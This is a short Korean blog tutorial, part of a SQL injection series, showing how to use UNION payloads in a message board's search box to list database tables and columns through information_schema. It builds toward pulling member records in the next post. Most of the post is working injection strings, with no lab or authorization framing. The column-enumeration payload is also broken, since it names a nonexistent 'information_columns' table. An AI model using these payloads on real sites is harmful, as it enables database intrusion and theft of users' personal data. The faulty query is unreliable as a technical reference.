본문 바로가기
Hacking/SQL Injection

6.SQL Injection>테이블 명, 컬럼 명 알아내기

by 혁이 2017. 4. 30.
반응형


안녕하세요


베비온입니다.

오늘은 저번에 했던 union을 사용해서 테이블 명과 컬럼 명을 알아내보겠습니다.




저번에 게시판 페이지에서 사용하는 컬럼 갯수는 11개라는것을 알아내었습니다.

검색 부분에


a' union select '1','2','3','4','5','6','7','8','9','10','11'

을 입력해줍니다.


제일 아래부분이 결과창입니다.

1~11을 출력하는 select를 사용함 으로써 어느 부분에 어느 컬럼이 사용되었는지 볼 수 있습니다.


글번호엔 1번 컬럼, 글 제목엔 6번컬럼, 댓글 갯수는 10번컬럼 이런식으로요

저희가 얻고싶은건 테이블명, 컬러명입니다.

즉 데이터 형태가 문자형입니다.

숫자형태가 들어가는 num이나 see는 안되죠


그럼 저희는 글제목인 6번에 한 번 출력해보겠습니다.


db에 많은 정보를 갖고있는 infomation_schema를 사용해서 출력하겠습니다.


테이블 명 얻기

a' union select '1','2','3','4','5',table_name,'7','8','9','10','11' from information_schema.tables --





쫜!



...


일단 나오긴했는데 잘살펴보시면 



리스트와 멤버 라는 테이블이 있는 것을 볼 수 있습니다.


멤버 라는 테이블이 회원정보를 가지고있는 것 같은데 이번엔 컬럼명을 가져와볼까요??





컬럼명 얻기

a' union select '1','2','3','4','5',column_name,'7','8','9','10','11' from information_columns where table_name='member' --

뒤에 where을 안붙이면 모든 컬럼명이 나와 매우 스압이 되오니 where을 붙여주시기 바랍니다.


member테이블에 있는 컬럼명들을 가져왔습니다!


이거를 토대로 회원정보를 빼올 수 있겠지요??




반응형

'Hacking > SQL Injection' 카테고리의 다른 글

7.SQL Injection>회원정보 출력  (0) 2017.04.30
5.SQL Injection를 위한 UNION  (0) 2017.04.27
4. 게시판의 컬럼 갯수 알아내기  (0) 2017.04.27